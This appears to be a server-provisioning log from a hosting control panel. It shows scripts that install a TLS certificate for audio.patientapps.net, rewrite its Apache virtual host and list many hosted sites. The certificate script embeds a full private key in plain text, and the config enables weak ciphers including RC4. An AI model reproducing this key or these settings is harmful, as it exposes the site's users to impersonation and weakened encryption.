MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-06 23:02:05: Establishing a connection
2026-04-06 23:02:06: Establishing a connection
2026-04-06 23:02:06: 

PUT: /tmp/pkp750185

#!/bin/bash
if [ -d "/var/www/patientapps_audio/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-06 23:02:06: 

chmod 755 /tmp/pkp750185; /tmp/pkp750185; rm /tmp/pkp750185

2026-04-06 23:02:06: 


0


2026-04-06 23:02:36: Establishing a connection
2026-04-06 23:02:36: 

PUT: /tmp/pkp309159

#!/bin/bash
temp_file=$(mktemp)
TARGET=40d152ed4fc15024fe57db1999e289aa.crt

cat > $temp_file <<'endmsg'
7c:b9:54:3d:41:40:61:96:e9:0e:c8:82:75:df:3b:36

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBhpx1b+H/FNLDxPAMgoSJWfCMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA2MjIwNDA1WhcNMjYwNzA1MjIwNDA0WjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCSF0Un1hte6UlL5irti/5ruA8ksZTTqW6B7huEfRYjzvwBkTleqC8N
vAlVNMEj/geYzgaZkXLq6IzuOMlzyd7yEB3Jo/pQLEayLXvkkGmT6HSK+Jz7SlBC
pvaN6EFNF5UtY7SQN8TYs2huzHl8/iElXiDp58HPjLuqTpwDlhvPQ60TBx+u3/Yi
m4YhGNQANaZgN8lPQ6fJLJaLJkxCeeIx4H19wpr2qShKBFKtKOQ47CZi59wSCg5n
4FbvTtSZe7RI9+p85fTC6f4W4tltoiNL5Es6d+0jDjuOc9bcGhyW5vZKerFLb8Ew
t7vibI9W+HK6CXS/z93uqbdQAV8IVMsPAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQULMO1y+5j8gCiX5h8oPtt53yhS/IwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVhdWRpby5wYXRpZW50YXBwcy5uZXQw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
Mi5jLmxlbmNyLm9yZy82Ny5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDY
CVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ1lCJg1AAAEAwBHMEUC
ICCIWnUvMosJqJTMaGp8mDJV2GGU1qJqPc+/UTwceBtdAiEA+IiHxeRpjHPPgKHf
QGSO5QDMRN+s+K8c94JyuIRDUJgAfgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDR
c4CeGBjrOgAAAZ1lCJt3AAgAAAUABhn4GwQDAEcwRQIgeFYpz1y9f6N5V6g+kxay
N7wxGMcI5k8Aayu4tcKjSaECIQCqm8eW4lpl4dw5afjCKEdEz11H0iaTLE6F9ewH
NvInATANBgkqhkiG9w0BAQsFAAOCAQEAO91qHAajk8/VB4AVCxW9PacayILyInzk
eCPrYmD0CYakJOKcQaXaVvUO391uzQJ7cuYbjZbsdr91VRcy/1f/xmaU98C2zRWB
svk2AE2ipXNfisjQ7zXfYYxdc+zEJpZoB169OFiuTJ2JigL9nSSsMK8TamK7hfMs
wocSDQOOKv4bcFrDnIwNtR+G1/EiXM5Z3s9scjCA2mC8OtdKmokk9vF2WYrd+0d4
JlxbQW9GLYOwvG2BOzokPISNa1oKhq+ZtNpeIkKJ3Bw0KleSLRun1zda6BKibRq5
aPJ3Yozpqvn1DOiTaebFMKx5iINCfPGe2WSXRWEO5++3yht69fTLMQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCSF0Un1hte6UlL
5irti/5ruA8ksZTTqW6B7huEfRYjzvwBkTleqC8NvAlVNMEj/geYzgaZkXLq6Izu
OMlzyd7yEB3Jo/pQLEayLXvkkGmT6HSK+Jz7SlBCpvaN6EFNF5UtY7SQN8TYs2hu
zHl8/iElXiDp58HPjLuqTpwDlhvPQ60TBx+u3/Yim4YhGNQANaZgN8lPQ6fJLJaL
JkxCeeIx4H19wpr2qShKBFKtKOQ47CZi59wSCg5n4FbvTtSZe7RI9+p85fTC6f4W
4tltoiNL5Es6d+0jDjuOc9bcGhyW5vZKerFLb8Ewt7vibI9W+HK6CXS/z93uqbdQ
AV8IVMsPAgMBAAECggEARK+2LxWmhshOUuYj1s4UT9cZH5pyq9WkhGhL/c3GBA4E
RERgYdXXUbDP/oSwLlj4f2qWhctx6WpvIG4IoW0PamYTa0Oyo9E9Z/akooEXcpg/
ezuKq0d0VvIjR/MkCLgGxnFzar8dyPkJJ9bxY8gkE2qfNPpnEEtNzLPq/HCuIJMt
755pVs4G3ZhUFcd3nwkZP06Gvh9J0wXsqZAGxl/80Z3Lsn39U6I8xSMm03h7rQes
MWLEQ+MNwKvyMJxmJFpV70gTc8CY305L5MYCzgexZqWmYz+zjAq50sKzGIYdxIKZ
cL+kIhbeb0O3N2JkCLPtnB7OvHFrPK3CxlYN22R48QKBgQDNzeRuqUk5HBp2I3VF
yMqW84DqGhDzcD/iTHrjomeQJ8BMU3/83RwAx4CbM/14Q8m3PRyIgf7TH4Bkac0R
Ri1JvA6DL2hNsIHgA9CSIT9GauKZa4EYCiG467iNejKCgXnw4z690vwKhVBfntMK
7Vl/6IDGps76p7O6hmcS0wvK1wKBgQC1uPcdjMBoGjFjwMKf80S9lfEA+8WLMcDu
Tn/N9xOqLzEWmfdhVB6PjvG3omJJqDkH05wsDUU75llcMEsUoZ+idZlQmy4jXPRi
Aon2HEk2PSkZmFhwSbtvW01DOWaKSN34o5WKBnr4df9c5yhl2rQwn2YcZR8qXHZl
Gq8GZiryiQKBgBvR2C4pTg+dP+p2UpTzVodfNS7wBRiTNN+HTRlWS7+N0A3BP8zT
qsRkM3tHZN0L9MmDRkcho2uwl297adAK93Y/KIsNLoFJ+dRpT5lhSyderXDlulag
j/xqSNE/EnLXw78PSNzqF03oxXuXgZm5id6jdDzmMZZqcv4kyuwdgTuTAoGAQgVb
Mk8qsCej/fvQOdBmDwLktljCYlnHIE1AvZGggVn32aBCcgffuoRSaUcDsoL9hUxq
Fs8Tcjm0CXw6Ktq1Zo6XDuPyFUL2Po1xlgqcxqndvsDMkK8Y+9IN9fhqup7SljzI
XYcRMieciSIqWSbmBCxFKtfKRNem5ACXyhlgTRECgYA1we4PLIMsrDICez+iLKU0
U06Ig+TY4eKr+D0gRMwvoO9bWiZmqJjnOUwEfJ5EekxY0BIHdzHk+tBcQAidGiT1
9IcEn4pZMvKcMp+C8IENgvKqg5LF8zUXqoSHzrebKoVh6pz2lmb7OZTS34C9ijPN
qTQhWaq0E2ymiFjjzpHv0w==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-06 23:02:37: 

chmod 755 /tmp/pkp309159; /tmp/pkp309159; rm /tmp/pkp309159

2026-04-06 23:02:37: 


dir=/etc/ssl/certs


2026-04-06 23:02:37: 

PUT: /tmp/pkp817890

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_audio_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-06 23:02:37: 

chmod 755 /tmp/pkp817890; /tmp/pkp817890; rm /tmp/pkp817890

2026-04-06 23:02:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf 45

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-04-06 23:02:37: 

PUT: /tmp/pkp923777

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_audio_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_audio_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_audio_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf= 1'
fi


2026-04-06 23:02:37: 

chmod 755 /tmp/pkp923777; /tmp/pkp923777; rm /tmp/pkp923777

2026-04-06 23:02:37: 




2026-04-06 23:02:37: 

PUT: /tmp/pkp692274

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-06 23:02:37: 

chmod 755 /tmp/pkp692274; /tmp/pkp692274; rm /tmp/pkp692274

2026-04-06 23:02:37: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-06 23:02:37: Establishing a connection
2026-04-06 23:02:37: 

PUT: /tmp/pkp499213

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-06 23:02:37: 

chmod 755 /tmp/pkp499213; /tmp/pkp499213; rm /tmp/pkp499213

2026-04-06 23:02:37: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
